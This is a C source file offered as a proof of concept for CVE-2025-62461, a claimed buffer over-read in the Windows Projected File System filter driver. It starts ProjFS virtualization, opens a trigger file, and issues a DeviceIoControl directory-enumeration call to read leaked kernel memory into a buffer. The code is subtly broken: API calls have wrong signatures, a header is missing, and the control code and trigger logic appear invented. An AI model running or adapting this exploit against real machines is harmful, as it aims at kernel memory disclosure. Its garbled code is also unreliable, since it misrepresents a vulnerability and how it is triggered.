// CVE-2025-62461 PoC - Windows ProjFS Filter Driver Buffer Over-read
// This PoC demonstrates triggering the buffer over-read condition
#include <windows.h>
#include <stdio.h>
#include <winerror.h>
// Projected File System GUID
const GUID PROJFS_GUID = {0x0c8852d4, 0x9f2f, 0x4eb6, {0xa0, 0x46, 0x8c, 0x2a, 0x69, 0x5b, 0x5e, 0xea}};
// Required headers for ProjFS operations
typedef struct _PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT* PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT;
typedef struct _PRJ_FILE_FULL_METADATA_INFORMATION* PRJ_FILE_FULL_METADATA_INFORMATION;
int main() {
printf("[*] CVE-2025-62461 Windows ProjFS Buffer Over-read PoC\n");
printf("[*] Target: Windows Projected File System Filter Driver\n");
// Step 1: Initialize Projected File System
printf("\n[*] Step 1: Initializing ProjFS virtualization context...\n");
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT ctx = NULL;
HRESULT hr = PrjStartVirtualization(
L"C:\\ProjFS_Test",
NULL,
0,
&ctx
);
if (FAILED(hr)) {
printf("[-] Failed to initialize ProjFS: 0x%08x\n", hr);
return 1;
}
printf("[+] ProjFS context created successfully\n");
// Step 2: Create projected file with specific metadata
printf("\n[*] Step 2: Creating projected files to trigger vulnerability...\n");
// Trigger condition: Malformed directory enumeration with extended buffers
// The driver fails to validate buffer size before copying data
HANDLE hFile = CreateFileW(
L"C:\\ProjFS_Test\\trigger_file.txt",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create trigger file\n");
PrjStopVirtualization(ctx);
return 1;
}
// Step 3: Trigger directory control with oversized buffer
printf("\n[*] Step 3: Triggering buffer over-read via directory enumeration...\n");
BYTE largeBuffer[8192]; // Oversized buffer to trigger over-read
DWORD bytesReturned = 0;
// DeviceIoControl to trigger FS filter operation
BOOL result = DeviceIoControl(
hFile,
FSCTL_ENUM_EX, // Directory enumeration control code
NULL,
0,
largeBuffer,
sizeof(largeBuffer),
&bytesReturned,
NULL
);
if (result) {
printf("[+] Buffer over-read may have occurred\n");
printf("[*] Bytes returned: %lu\n", bytesReturned);
// Check for leaked kernel memory in buffer
for (int i = 0; i < bytesReturned; i++) {
if (largeBuffer[i] != 0 && (i % 16 == 0)) {
printf("[*] Potential kernel memory at offset %d: 0x%02x\n", i, largeBuffer[i]);
}
}
}
CloseHandle(hFile);
PrjStopVirtualization(ctx);
printf("\n[*] Note: Actual exploitation requires specific ProjFS setup\n");
printf("[*] See Microsoft Security Response Center for full details\n");
return 0;
}